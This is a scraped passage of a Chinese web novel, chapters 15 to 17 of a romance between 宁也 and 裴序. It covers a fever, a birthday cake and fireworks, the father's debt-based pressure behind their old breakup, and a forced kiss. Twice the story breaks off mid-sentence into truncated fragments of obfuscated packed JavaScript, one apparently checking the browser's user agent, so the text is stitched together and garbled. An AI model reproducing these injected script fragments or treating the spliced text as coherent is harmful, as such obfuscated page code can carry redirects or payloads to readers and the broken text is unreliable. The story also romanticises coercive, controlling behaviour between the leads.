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他不跟宁也废话,语气强制:“不管我有没有资格,我现在就是要管你。你马上打电话,跟你公司的人说你要解约,违约金我出。” 两人再一次四目相对,宁也被裴序的话震惊到,回过神后发觉裴序看起来并不像是一时冲动,更像是早就做好准备。 “我查过你们公司的违约金,最多一百万,我出。” 一百万这个数字,从裴序口中说出来,显得那样轻松。 这样的轻松让宁也滞了很久,他的心被狠狠拉扯着,眼圈在寒风中越发的红。 一小会儿后,宁也艰难找回语言:“不用,我不需要。” 听到这话,裴序手臂往前一拉,将宁也拽到自己面前。 只有几厘米的距离,他略垂着眼皮,盯着宁也说:“你不需要?你还想背负这个合同到什么时候?” 宁也抬眸直直迎着裴序的目光,声线略颤:“我宁愿背负一辈子,也不想欠你。” “宁也,你欠我的多了,不差这一点。” “不差这一点?裴序,我和你不一样,一百万对你来说很简单,就只是一个数字,但是对于我,我可能一辈子都还不清。” 宁也的心脏在胸腔里颤抖,在金钱面前,他显得那样渺小狼狈,那样无能为力。 “我们已经分手,早就各走各的,你不要再管我。我真的不想欠你,不想再欠你们家——” 裴序没耐心听完宁也的话,单手用力扣住他的后脑勺。 宁也的脸被迫向上抬起一点角度,两人鼻息混合,鼻尖的距离几乎就在毫米之间。 裴序盯着宁也的眼睛,说:“如果,我就是要你欠我呢?” 15.chapter 15 15 宁也昏昏沉沉醒来,觉得头很重,鼻尖的呼吸有些不顺畅。 他在床上坐着,懵着神,好半天之后才感觉到自己额头上面有东西。 伸手,取下,是一张退热贴。 宁也怔怔看着手里这张已经变温的退热贴,随后不自觉看向床头柜,上面有一盒开过的退烧药,还有半杯水。 是他发烧了吗? 窗外天色灰蓝一片,宁也又在想,现在还是早上吗? 天还没亮吗? 他回家多久了? 宁也的记忆有点混乱,脑子发着晕,一时想不起来自己是怎么回来的。 房间外面有细微的声响,好像有人在外面。 宁也下床,开门。 当他看到厨房里那个熟悉的身影,他的心脏就开始在疲重的身体里失序跳动。 是裴序。 裴序在厨房煮东西。 回家之前的画面在宁也脑海里断断续续过了一遍,宁也想起来,他好像和裴序吵了一架。 怎么吵完之后,裴序还没走? 还是,这只是发烧时的幻觉? 宁也的眼睛望着裴序的方向,脑子和表情都发着懵。 在厨房煮粥的人觉察到不远处的视线,侧头看过去。 看到宁也已经醒了,裴序压下眼底复杂的情绪,像什么都没发生一般开口:“过来吃点东西。” 裴序的声音响在耳畔,宁也的神思终于清明几分,确认眼前的裴序不是自己的幻觉。 他下意识迈动脚步,朝裴序走过去。 宁也走到餐桌边时,裴序刚好从厨房端出一碗热乎的小米粥。 两人打了个照面,随后,裴序先将粥放到餐桌上,说:“吃完再量下体温。” 可能是生病的原因,宁也这时候的反应慢半拍,拉开椅子坐下了,才想起来问裴序:“我……发烧了?” 裴序站在宁也身旁,居高临下地瞧着他,看他一脸不明的表情,不由得挑眉:“怎么,忘了?” 宁也不想承认自己忘了,含糊地应:“记不清了。” 裴序轻笑一声:“那你的记性还真是差。” 宁也:“……” “你确实发烧了。差点烧到40度。”裴序说,“这么冷的天去跳湖,没冻死算你幸运。” 宁也不服气地抬头,嘴巴张了张,想反驳,又发现自己无法反驳,只得说:“你怎么还在这里,不用回去工作么。” 裴序定眸瞧着宁也,问他:“你知不知道这是你第几次赶我走?” 宁也垂下眼眸,盯着桌上的小米粥,不说话。 裴序微微向后靠,半倚着餐桌一边,偏头问宁也:“你真准备要我走?吵了架还能不计前嫌把你背回家的人,你确定要赶走?” 宁也说不出话。 他不知道。 他们吵架的内容,他还记得,是因为经纪公司的合约。 宁也想起裴序轻松说出口的一百万违约金,心顿时又沉了下去,捧住碗的手指无意识摩挲着碗沿。 裴序大概知道此刻宁也在想什么,他其实是有很多话想说的,但宁也现在这个状态,刚发过烧,脸色发白,没有一点血色…… 他不忍心。 他不想在宁也生病的时候还跟他争论。 解约的话题暂且搁置一边,裴序佯装无事般,找了其他的话题。 “厨房那两柜子的泡面是怎么回事,你平时在家都吃泡面?” 宁也愣了下,嘴硬道:“当然不是。” “是么,”裴序明显不信,“那你说说,你平时在家吃什么。” 宁也:“……” “厨房里除了泡面,就什么都没有,连冰箱也是空的。怎么,你平时喝空气的?” “……我难道不会点外卖不会出去吃吗?” “噢,你最好是。” “……” 被裴序看穿的宁也莫名有点心虚,他平时在家确实只吃泡面,因为他不会煮饭。 过了十几年少爷生活的他,一直没学会怎么下厨。 他是有尝试过的,也有按网上教程试过,但是他只能确保吃进嘴巴里的东西是熟的,至于味道…… 他感觉还是吃泡面好一点。 “你家住海边么,管这么宽,连我在家吃什么都要管。” 听宁也这么说,裴序翘起唇角笑了笑:“都有力气顶嘴了,看来确实是退烧了。” “……” 宁也张了张嘴,想说话时,门铃响了。 几乎没有人会来找宁也,房子的门铃也已经很久很久没有响起过。 宁也不知道谁在按门铃,也不知道是来找他的,还是按错的。 他微怔片刻,随后与裴序互看一眼,拉开椅子站起来,走去开门。 老旧的防盗门从里向外打开,尹治站在门外。 他像是匆匆过来,额前碎发被风吹乱,身上的长款风衣也不似平时那般有型。 在看到宁也的霎那,尹治微松一口气,脸上的着急退去几分,露出个笑。 “还好你在家。你一直没回消息,也没接电话,我以为你出什么事了。” 宁也看到尹治,有些意外,想到尹治联系不上自己,就猜到可能是手机没电自动关机了。 “抱歉,应该是我手机没电了。”他跟尹治表达歉意,“老板急着找我,有什么事吗?” “我们不是约了晚餐吗?” 晚餐—— 宁也突然想起这个事。 他都不知道自己怎么了,脑子乱七八糟的,把今天的晚餐都忘了。 太糟糕了。 宁也看楼道外面已经暗下来的天色,明白过来尹治为什么这么着急找自己。约了晚餐的人一直联系不上,确实会担心。 “对不起,我今天事太多,忘了晚餐的事,手机又没注意电量——” “没关系,我现在不是找到你了么。” 尹治还是笑着,正想继续说话时,房内传来另一个陌生的男声。 “宁也,该吃药了。” 裴序不带多少温度的声音不着痕迹地插进两人之间,宁也和尹治不约而同往房子里望去。 裴序倚在厨房的门框前,隔着距离好整以暇地看着他们,眸色意味不明:“高烧的病人需要休息,不适合出门。” 宁也能听出裴序话里有话,尹治自然也听得出来,不过他在仔细看过屋内的裴序后,先出声关心宁也:“你生病了?” 宁也点了点头,面对尹治时还是满是歉意:“早上发烧了,睡了一天,所以手机关机也不知道。老板,真的很抱歉。” “不用道歉,没关系的。” 尹治看出宁也的脸色确实不大好,就说:“你不舒服就在家休息,晚餐不一定要今天,下次也可以。” “下次我一定不会忘记。” “好,我先回去了,你休息吧。” 尹治也是个干脆的人,没有多留,交待宁也好好照顾自己后就准备走。 临走之前,不忘对宁也说一句:“生日快乐。” 宁也感谢地回了一声:“谢谢。” 尹治离去,宁也看着尹治的身影消失在楼道里后,伸手关上 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软糯的红枣小米粥还是南市那个熟悉的味道,宁也还没咽下去,就听见裴序在身旁说:“人家一句‘生日快乐’,你就笑着回‘谢谢’,我把你从那么远的地方带回来,给你买药,给你煮粥,照顾了你一天,怎么就不见你跟我说声‘谢谢’?” 宁也拿勺子的手顿了一下,抬头望向裴序,温热的粥咕噜一声,从他喉咙里滚落下去。 他咽下粥,喉结微动,还没说话,裴序就哼笑一声:“区别对待,你还真是没良心。” 宁也:“……” 裴序的手机在这时候响起,他从裤子口袋里拿出来看了一眼,接起电话。 宁也听不到电话那头在说什么,只知道裴序在接电话的时候眼睛还一直落在自己身上,然后裴序对电话那头的人应了一声“好”,电话挂断。 “吃完粥,量体温,温度高就再吃一颗退烧药。” 裴序说完,走去一旁拿起自己的外套,看着像是要出门。 宁也有一瞬间想开口问裴序要去哪,心也悄悄悬起,担心裴序现在要回南市。 好矛盾,他一直在赶裴序回去,可裴序真的要走,他又想留人。 裴序穿好外套,转头瞧着宁也,似乎是在等待什么。 宁也喉咙干涩,想说的话在喉间盘桓好几遍,最后还是没有开口。 裴序见宁也一个字都没有,只得自己让步,说:“我出去一趟。待会儿回来你要是不给我开门,我就找人撬锁。” 宁也愣愣的,直到裴序开门离开,他才反应过来。 裴序的意思是,他一会儿还会回来。 领会到这个意思,宁也紧张的心竟缓解几分,可很快,他的心就开始重新陷入拉扯。 想要裴序离开,断开联系,又想要他在身边—— 宁也矛盾痛苦的心情,翻山蹈海,卷土重来。 楼下。 尹治的车停在居民楼前面的小道上,他半靠着驾驶门,在渐暗的天色中点亮一支烟。 白烟袅袅,烟味四散。 有脚步声逐渐靠近。 尹治抬眸,瞧见刚刚在宁也家里见过的那个人。 裴序停步在尹治面前,像是恰好经过。 两人视线相对,尹治能察觉到裴序眼底的敌对感,非常明显,非常尖锐。 裴序瞧了尹治几秒,最后目光落在尹治指间还未燃尽的那根烟上,说了一句:“他最讨厌烟味。” 说完就抬步离去,背影利落干脆。 尹治恍了半晌,意会出裴序的意思后,不由得怅然一笑,丢下没燃尽的烟,轻轻踩灭。 16.chapter 16 16 手机充上电,刚开机,宁也就收到了尹治的未接电话和未读消息。 他望着聊天框里尹治发来的问候和关心,想起裴序说的“约会”两个字。 对于尹治,宁也之前一直没有往别的方面想过,尹治对他也没有什么越界的行为,但是现在…… 他好像隐隐约约感觉到了什么。 或许他应该要早点发觉的,这几年他一直独来独往,没有心思关注感情方面的事,对周围人的接触也显得迟钝了一些。 宁也准备将手机放下充电,一个电话打了进来。 他看到是裴奶奶,没有耽搁,马上接起电话。 “喂,阿也吗?” 裴奶奶的声音还是那样亲切,宁也握着手机坐到床边,对电话那头的裴奶奶说:“嗯,奶奶,是我。” 裴奶奶笑着:“今天是你的生日,奶奶祝你生日快乐。吃过蛋糕了吗?” 在逾市的这四年,只有裴奶奶会在宁也生日这天给他打电话,祝他生日快乐。 宁也很感激裴奶奶一直记挂着自己,同时又会愧疚自己这四年一直没有回去看望她。 “谢谢奶奶,我吃过蛋糕了。” 宁也和前几年一样,骗裴奶奶自己已经吃过蛋糕,不让她知道自己其实根本没过生日。 他不想让老人家担心。 裴奶奶听了,并没什么怀疑,笑呵呵地说:“那就好,平时多顾着点身体,天冷要记得加衣服。” “我会的,奶奶不用担心我。你给我织的围巾我收到了,我会好好戴的。” “围巾收到啦?那你肯定也见到阿序了?” “嗯……见到了。” “难得他有假期去你那里,你们两兄弟也很久没见,趁这个机会一起出去玩一玩。” 宁也捕捉到奶奶话里的关键词,不禁眨了眨眼,不确定地问:“假期?” “是啊,这孩子这两年一直在他爸的公司里忙,节假日都不肯休息,这次难得肯给自己放个假。前段时间来看我,还问我有没有东西要带给你,说要去你那边一趟呢。” 裴奶奶笑着:“今天他有陪你过生日吧?让他晚上带你去吃好吃的,要什么礼物也跟他说,让他给你买。” 宁也愣了一下,裴奶奶的话,和裴序说的,完全不一样。 裴序是怎么说的? 他说他出差,顺路过来帮奶奶送围巾。 “老太太,到点量血压了。” 宁也还怔滞着的时候,听到了电话那边王阿姨的声音,还有一些嘈杂的辨不清的声音。 裴奶奶好像有什么事,匆匆叮嘱了几句就挂断了电话,不像以前那般絮叨好久。 宁也听着通话结束的嘟嘟声,脑海里一直是裴奶奶和裴序相悖的话,整个人发着懵,很久都没反应过来。 同时间,南市这边。 裴奶奶坐在医院病房的病床上,王阿姨拿枕头放她腰后垫着,又扶着她调整位置坐好。 裴奶奶虽然面色不佳,但心情看着还不错,主动抬起胳膊让王阿姨量血压。 裴山青是这时候过来的,人到中年气度不减,西装革履,看着是刚从公司过来。 他进门,瞧见老太太脸上的笑,不由得说:“今天心情看着不错,有什么好事么?” 裴奶奶笑了笑,对裴山青说:“刚跟阿也通过电话,这孩子今天生日。” 裴山青听见宁也的名字,面色未变,但也没表露多少笑意。 他解开一颗西服的口子,走到病床边,将自己带过来的补汤放到床头的柜子上。 “他走了有四年了吧,难为妈还一直记挂着。” “可不是,我这心里啊,就是放不下这孩子。”裴奶奶捂了捂心口,说道:“在我心里,他和阿序一样,都是我的孙辈。可惜他非要留在逾市,平时想见一面都难。” 裴山青没有回应裴奶奶的这段话,他是裴序的父亲,和裴序的眉眼相似,但和裴序相比,他多年的商场沉淀让他看着深不可测,更有一种对无关之人的漠不关心。 “对了,我住院的事情,没告诉阿序吧?”裴奶奶问裴山青。 裴山青应一声:“还没有,您让我们瞒着,我们都没说。” “就这点小毛病,让他知道了,他又得担心。这几天他正在放假,就让他好好休息一下,免得为了我又从逾市跑回来。” 裴山青眉头一皱:“他在逾市?” 裴奶奶笑着:“可不是。这么长的假期,去找阿也了。咱们作为长辈的,别管那么多,孩子想去哪就去哪。” 说到这,她更像是话里有话:“孩子的事,咱们管不了。” 母子两都是聪明人,有些话点到即止。 裴山青不说什么,脸色密不透风。 - 宁也握着手机,在床边呆坐了很久很久。 充着电的手机在他指间缓缓发烫,他低头,看一眼手机,又抬头,看向床头柜上的药盒和剩余的半杯水。 宁也脑子里的情景从模糊不清逐渐变得清晰,他感觉自己好像有些记起来了。 记起来早上天微微亮的时候,他和裴序在公园门口因为解约的事情争执。 记起来裴序说就是要他欠他。 也记起来在寒风中,裴序先觉察出他的不对劲,用手背贴近他的额头去探他的体温。 宁也终于能理解裴序为什么说他区别对待,为什么说他没良心。 裴序将发烧的他带回家,喂药,煮粥,照顾了一天,他醒来第一件事,不是说“谢谢”,而是问为什么还没走。 原来这个怎么都赶不走的人,是特意留出假期从南市过来,打着帮奶奶顺路送东西的名义,特意过来找他。 宁也想起凌晨时分裴序的那一句“生日快乐”,心脏矛盾地揪成一团,又感动又难过。 他会想,裴序是不是特意选了他生日这天过来。 宁也忍不住垂下眼睫,手指无意识地圈紧手机,他不是铁石心肠,他能感受到裴序的用心。 但是,越是清楚感受到裴序的用心,他就会难过。 门铃突兀响起,宁也的思绪被打断,心和身体同时颤了一下。 是裴序回来了吗? 宁也下意识以为是裴序回来了,呼吸乱了几分,眼神犹豫过后,放下手机走到外面玄关。 防盗门再次被打开。 门外的人不是裴序,是一个陌生的男人,穿着闪送的蓝色制服,提着一个透明蛋糕盒。 “你好裴先生,你的蛋糕。” 宁也停顿几秒,伸手接过外送员递来的蛋糕,没有告诉外送员,他不是订蛋糕的裴先生。 那位裴先生,应该是裴序。 防盗门关上,宁也提着蛋糕走到餐桌前,小心翼翼地将蛋糕放下。 透明的四方蛋糕盒,能看到里面洒着一层糖霜的鲜嫩草莓,乳白色的奶油和草莓很相衬。 宁也认得这家蛋糕,很久很久以前,他曾对裴序说过,他家附近有家蛋糕店,那里的草莓蛋糕是冬日限定,很好吃,可是很难订。 那是他在裴家过的第一个也是唯一一个生日,当时他和裴序还没有很亲近。 在那之前,他一直和裴序刻意保持着距离,但是那天,也许是生日的关系,也许是想念家人的情绪上来,他第一次和裴序说了很多话。 裴序问他,为什么过生日好像还不开心。 他说,以前的每个生日,都是和爸妈在一起。妈妈每年都会给他订他喜欢的草莓蛋糕,爸爸也会在那一天提早回家,一起庆祝生日。 去年他们一家三口还在一起,今年却只剩他一个人。 想家的情绪会让人脆弱,一旦开了一个口,就再收不住。 那天宁也自顾自地说了很多,等意识到的时候,只看到夜色笼罩的阳台上,裴序安静凝视的目光。 他们的视线不知不觉对上,宁也再受不住自己骤乱的心跳,呼吸无声发烫。 他觉得,裴序的眼睛真好看。 裴序看了宁也许久,宁也也一直没有躲避他的视线。 后来,裴序说:“奶奶没说今天是你的生日,我没给你准备礼物。你想要什么,我补给你。” 宁也略略敛眸,很难才收住自己的少年悸动,说:“烟花。我想看烟花。” 裴序笑了一下:“可惜了,南市有禁放令,不允许燃放烟花爆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后他看到裴序拿出手机,在耳边晃了晃,好像是让他接电话。 宁也意会到,什么都来不及想,转身跑去房间拿充电的手机,然后重新跑到窗户边。 在烟花的爆炸声中,他接到了裴序打来的电话,听到了裴序的声音。 “答应送你的礼物,迟了四年,现在补给你。” 裴序说的每一个字,和漫天的烟花一起,重重砸着宁也的心。 暗夜里的燃烧和绽放,在宁也胸腔发出共振,他望着楼下的裴序,说不出一句话,只觉得胸腔被不知名的情绪填得很满,心脏剧烈颤动,眼眶发涩,鼻尖泛酸。 宁也在这个世界上孤独了太久,裴序就像此刻夜空绽放的烟花,照亮他早已灰暗的心。 就是这一瞬间,宁也想投降了。 他无法抗拒这样的裴序,努力坚硬的心,在这一刻输的一塌糊涂,溃不成军。 分开的四年里,宁也一直都没放弃喜欢裴序。 第一眼就心动的人,一直都藏在他的心里,纵然日日夜夜孤独难挨,他都没有想过放弃。 可惜理智和情感总将他撕扯,让他进退两难,自我煎熬。 现在,他想投降了,不想坚持了,他想臣服于自己的心。 五层的水泥楼梯,从没觉得会这样高,这样长。 宁也奔跑着下楼,楼道里的夜风呼呼灌进来,无法阻止此刻他发热的胸腔和急切的心。 跑到楼道口的时候,握在宁也手里的手机再次响起来。 宁也微喘着气,以为又是裴序的电话,却在看到来电人时,往前的脚步倏然停滞住。 夜空的烟花燃放了很久,如满天流星,璀璨漂亮。 不知过去多久,烟花声逐渐变小,好似快要燃尽。 当烟火熄落,光彩亮丽的夜空渐渐暗下来,宁也才从居民楼里走出来。 裴序在原地等着宁也,眼眸里是相隔四年重新显露的笑意。 宁也的脚步却是慢沉的,他好像花了很长的时间,才走到裴序身前。 夜风卷袭而过,风里残留着烟火气息。 宁也眼角泛红,冷风拂过,又涩又痛。他稍微控制了一下情绪,扬起唇角对裴序露出一个笑,然后说: “裴序,我们以后,不要再见了。” 17.chapter 17 17 宁也刚刚接到的那通电话,来自裴序的父亲,裴山青。 在商场沉浮几十年的男人,在电话里用冷漠的声音命令宁也:“马上让裴序回来。你们不要再联系。” 这样的冷酷无情的话,宁也在四年前也听过一次。 是高中毕业的那个暑假,异常闷热的一个夏日午后,裴山青第一次主动约宁也见面。 宁也住在裴家的这一年,和裴山青并没什么接触,裴山青也不常来老宅,只会在逢年过节时回来看望一下老太太。 裴序和裴山青的关系很一般,不似普通父子般亲近,裴序有跟宁也说过,自己的父亲是个标准的商人,满脑子只有怎么让公司的利益最大化,家庭和亲情都排在末位。 但是那次和裴山青见面,宁也发觉裴序错了,在裴序父亲的心里,儿子并不是排在末位。 见面的地方在一家高端的商务会所,宁也和裴山青相对而坐,中间隔着一张精致大气的茶桌。 宁也在来之前,就已经有了心理准备。 等进来,坐下,四周沉闷的环境,让宁也感觉这里像一个谈判室,他和裴序父亲中间的这张茶桌,更像是一张谈判桌。 两人见面,裴山青没有先开口。他当着宁也的面沉默抽完一整支烟后,才在烟灰缸里碾灭烟头,问:“你和裴序,在交往?” 裴山青问出口的话,宁也并不是很意外,在赴约之前,他已经猜到裴山青找他的原因。 裴山青不会无缘无故约他见面,还是在这样一个正式的地方。 交往的事情,宁也和裴序并没有打算瞒着,他们一直想着找一个合适的机会,正式告诉家人。 现在裴山青提早知晓,宁也就借这个机会点头承认:“是的。我们在交往。” 宁也是个明白人,会察言观色,通过裴山青的表情,他能看出裴山青对这件事的态度。 他问裴山青:“叔叔,您不同意我和裴序吗?” 裴山青不说话,冷然的脸色已经给出答案。 宁也确认过裴山青的意思后,没有露出半分的软弱和退缩,直接问出自己心里的猜测:“叔叔您今天特意约我见面,应该不只是要告诉我您不同意我和裴序在一起,您是不是想让我和裴序分手?” 裴山青一直不大喜欢宁也,尤其是此时此刻他这种不卑不亢的态度。 纵然家里破产,无家可归,寄人篱下,宁也身上的傲气是一点都没被磨灭。 这样的孩子,太倔,太有自己的想法,不容易掌控。 裴山青作为长辈,着实不喜欢。 现在既然已经开门见山,宁也都直接问了,裴山青也就不再兜圈子,说道:“对,我要你和裴序分手。” “我不会和他分手。”宁也几乎没有任何考虑,第一时间回答。 裴山青皱起眉头:“现在这个社会,你们这样的关系是少数,多少人会用异样的眼光看待你们?” “我不在乎别人用什么的眼光来看待我和裴序,这是我们自己的事情,为什么要在乎别人的眼光?” “你们可以不在乎别人的眼光,那家人呢?裴序最孝顺,最爱奶奶,要是老太太知道了你们的关系,她能不能接受?” “我们商量过,会慢慢告诉奶奶,慢慢让奶奶接受。” 这一来一回,裴山青的话都被宁也堵了回来,他不得不换一个话头:“那你们觉得,你们会长久吗?现在你们两个才十几岁。十几岁的感情,怎么能当真。” “虽然我们现在才十几岁,但是我们是认真的,不是青春期的荷尔蒙在作怪,我们都很认真地考虑过以后。” “以后?”裴山青听笑了,“你们考虑过什么以后?” “裴序的人生早就规划好了,如果不是他要孝顺老太太,要留在南市读大学,他现在就已经在为出国做准备。虽然他现在留在南市,但是过两年,他还是要出国留学,再回来接手公司。这些事一早就定好了,他自己也清楚。我们裴家就他一个孩子,他从出生就注定要承担这个重担。” “宁也,你还小,太单纯,不懂接手一家公司要付出多少。不止需要裴序自身的能力,还要承受外界的舆论。裴序是我的孩子,我不允许外界议论他,更不允许我给他安排的安稳人生出现什么意外。” 宁也停了一会儿,再开口时候,声音坚定:“我不会成为他的意外,不会破坏你们给他安排的人生。” 裴山青见宁也的态度还是这么强硬,兀自沉默了几秒,随后重新点燃一支烟。 他对宁也的性子稍有了解,在来之前,做了两手准备。 大道理讲不通,就换另一种方式。 在烟雾腾飞的时候,裴山青问宁也:“最近有和你爸联系过吗?” 在这个时候突然提到自己的父亲,宁也的心跳滞了一拍,眼里露出疑惑。 这是裴山青的最后一个突破口,他不紧不慢地说:“你爸应该很久没有消息了,对吧。” 宁也不说话,裴山青就继续说:“他把你送到老宅后,来找过我。他让我帮你入学,读一个好的学校。裴序那间学校,是南市最好的中学,几乎不接受中途的转校生。你能进去读书,花了不少的人力财力。如果没有我们裴家,你连读书都成问题。” 宁也的表情渐渐僵硬,他有想过自己回南市读书,是裴家帮的忙,但没有想到这个过程需要花大量的人力财力。 “你认得你爸的字吧?”裴山青从西服的内侧口袋里掏出一张纸,展开摊在茶桌上。 “这是你爸写的欠条,那次他来找我,除了让我帮你入学,还跟我借了一笔钱。” 宁也愣着眼眸,缓缓望向桌面那张欠条,看到上面的字迹和金额,眼底眸色猛地颤动。 “你看到了,一百万。我不知道你爸现在在做什么,他说要拿这笔钱东山再起,我看在我们两家多年的关系上,借了这笔钱。” 裴山青终于看到宁也的脸色有了变化,多年的商业谈判让他很有经验,毫不费力就找到了宁也的软肋。 他抓住父亲这个软肋,问宁也:“你觉得如果我现在跟你爸要回这笔钱,你爸会怎么样?” 宁也呼吸忽然变得困难,骨子里的傲气迎来狠狠一击,他前面态度强硬,但现在,在这笔巨额的欠款面前,他完全说不出一个字。 “你跟裴序分手,不要再联系,这笔钱就当没发生过,我不跟你爸追讨。我想你应该不会那么自私,为了自己,让你爸过上被追债的日子。” 被追债的日子—— 宁也家里破产的时候,曾有一大批债主围着他家的别墅打砸叫喊,让他们家还钱。 穿着校服准备出去上学的宁也在门口被他们堵了回来,十几个人冲着他喊,冲着他骂,多少难听的话都说了出来,丝毫不在意眼前的人还只是一个读书的孩子。 宁也永远记得他们的骂喊声,记得他们蠢蠢欲动要对他动手的模样,记得他们的推搡,记得父亲跑出来将他护住拉回家。 他更记得那天紧闭的家门,曾经风光无限的父亲在客厅里抽了一支又一支的烟,母亲在楼上痛哭,收拾行李说要离婚。 这些一年多前发生的事情还历历在目,这一年的时间里,宁也不知道父亲在哪里,不知道他的消息,电话一直打不通,他也不知道父亲到底过得好不好。 他只是记得,父亲临走前对他说,会很快回来接他。 想到这些,宁也停了很久,久久没有回应,直到感觉眼皮酸涩,才眨了眨眼。 一百万的欠债,如果裴家真要追讨,父亲不一定能马上还上。 宁也不忍父亲受苦,下了决心,对面前的裴山青说:“这笔钱,我会想办法还上。” 这儿毕竟是商业谈判的地方,茶桌一旁有个笔筒,上面插着几只签字笔。 宁也抽出一只签字笔,打开笔盖,在欠条上划去自己父亲的名字,然后在旁边毫不犹豫地签下自己的名字。 裴山青略有意外,没想到话说到这份上,宁也还是不改口。 “钱,我会还。至于分手,除非是我和裴序的感情出现问题,否则我不会分手。” 宁也说完,起身,向裴山青鞠了一个躬,保持着最基本的礼貌:“叔叔再见。” 那个时候,即便是巨大的债务摆在宁也面前,即便是面对裴山青的威胁,宁也都没想过要跟裴序分手。 他回来之后,没有跟裴序提起跟裴山青见面的事情,更没提起债务。 少年总是骄傲,自尊心强,宁也觉得欠债是一件丢脸的事,他没办法跟裴序开口。 他决定瞒着,用自己的办法去还这笔钱。 当时的宁也想法很单纯,他想着,只要他还上了这笔钱,裴山青就没办法再威胁他,他就能和裴序平等地站在一块。 所以,他改了志愿,签约逾市的经纪公司。 这家经纪公司,在之前就和宁也合作过一个广告,对方有他的联系方式。 宁也回来南市后,对方一直想让他回逾市签约。 之前他一直没有答应,这次为了能尽快还上裴家的钱,他答应了。 这些事情宁也都瞒着裴序,他知道裴序的脾气,如果不瞒着,裴序绝对会阻止他这么做。 正因为这样,裴序在看到录取通知书的时候,才知晓宁也私自改了志愿。 两份完全不同的录取通知书,两所大学天南地北,裴序的反应很大,质问宁也到底是怎么回事。 宁也说不出真实的原因,只能扯谎说他改志愿是因为想回去和妈妈一起生活。 裴序沉默了几分钟,随后将宁也的手机夺过来,翻出经纪公司发来的签约合同。 他冷着声问宁也:“那你告诉我,这份合同是怎么回事。你是准备签这份合同所以改的志愿,是不是?” 合同是早上发的,裴序应该也是早上看到的。 宁也有些慌乱,一时之间做不出解释。 “早上我还在奇怪对方为什么突然给你发合同,没等到问你怎么回事,就先收到了录取通知书。” 裴序眼底冷沉,有一种被信任的人背叛的失望和看着对方撒谎的心寒。 “要回逾市和妈妈一起生活?宁也,我要是不戳穿,你就准备用这个蹩脚的理由骗我?你为什么不坦坦荡荡跟我商量,为什么要骗我?!” 宁也说不出一个字,低头闭口不言的模样,在裴序眼里就是心虚。 这更让裴序认为,宁也就是为了签约才改的志愿。 而他,是宁也权衡利弊之后选择放弃的那一方。 就这样,两个人连吵架都算不上,直接陷入冷战。 冷战的那两天里,宁也有尝试跟裴序沟通,可裴序一直冷脸相待。 同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无声静滞的几秒后,裴序不由分说地拽过宁也的手腕,拉着宁也径直走向居民楼的方向。 夜在沉寂。 积攒已久的风暴好似终于要爆发。 居民楼水泥楼梯上的脚步声急促且缭乱,五层楼梯不过是一瞬之间的事。 老旧的防盗门先前忘了关上,此刻被用力一掌推开。 再就是异常响烈的关门声,震得墙壁仿佛都在颤动。 一起颤动的还有宁也的肩背,他被裴序狠狠抵到防盗门上,衣物单薄,肩胛骨与坚硬的门无缝撞击。 他痛得整个人都震颤了一下,呼吸不稳间,侧脸被裴序的手指紧扣住。 宁也被迫抬起头,被迫直视裴序的眼睛。 在自己最喜欢的这双眼睛里,宁也看到了裴序压抑的怒火和冷峭的寒意。 这样的模样像极了四年前,裴序发火质问他为什么要改志愿。 “再也不要见面是什么意思?” 裴序质问的声音里带着怒意,眼睛紧盯着宁也,“你是准备跟我撇清关系?” 宁也心内挣扎,想要转头避开裴序的视线,裴序桎梏着他的脸,不让他躲。 “我已经不计较四年前你提分手放弃我,你还要我怎样?” 裴序说着,气息压近,手指从宁也的侧脸下移,改为扣住宁也的下巴。 “现在又随随便便说一句不要再见面,对于你来说,我就这么无足轻重?” 宁也的下颌骨骼被裴序扣得生疼,说不出话。 他仰着头,略微蹙起眉头,呼吸之间都是裴序压来的气息。 与此同时,裴序笃定的声音落在宁也耳边:“你明明对我有感情,为什么非要推开我?” 宁也倏然一怔,脑子空白,眸底微晃,被看穿的慌乱顿时在胸腔内弥漫。 “你要是对我没感情,我们重新见面的那个台风夜,你裹着被子偷偷哭什么?” 裴序仿佛对宁也了如指掌,步步紧逼地问宁也:“你敢说你当时的眼泪不是因为我?你真对我无情,为什么还要为我掉眼泪?” 宁也不知道裴序怎么会知道那天夜里他曾偷偷哭过,他艰难滚动喉结否认:“我没有,你看错了——” 话音刚落,宁也的一侧肩膀就被裴序捏紧。 在这样的疼痛里,宁也忍着心内的撕扯,狠心道:“裴序,我对你的感情四年前就已经结束,现在我对你没有一点感觉,无论你做什么,我们都回不到以前。” 裴序的眼睛黑得像深海暗涌,宁也说的每个字都踩在他的雷区,挑战着他的忍耐极限。 “你真的对我没有一点感觉?” “没有,一点都没有。早就没有了。” “好,那你就证明一下,看看到底是你的嘴巴诚实,还是身体诚实。” 随着裴序的最后一个字落下,宁也就感觉到裴序近在咫尺的鼻尖用力压到他的侧脸,双唇紧贴,毫无征兆。 宁也瞬时睁大双眼,没等他挣扎,裴序扣住他下颌的手就移到他脑后,修长手指骨节分明,紧扣着他的脑袋。 另只手则按住他的肩膀,将他固定在门前。 这就是裴序说的证明。 他吻着宁也的唇,一遍一遍执拗地加深,蛮横纠缠。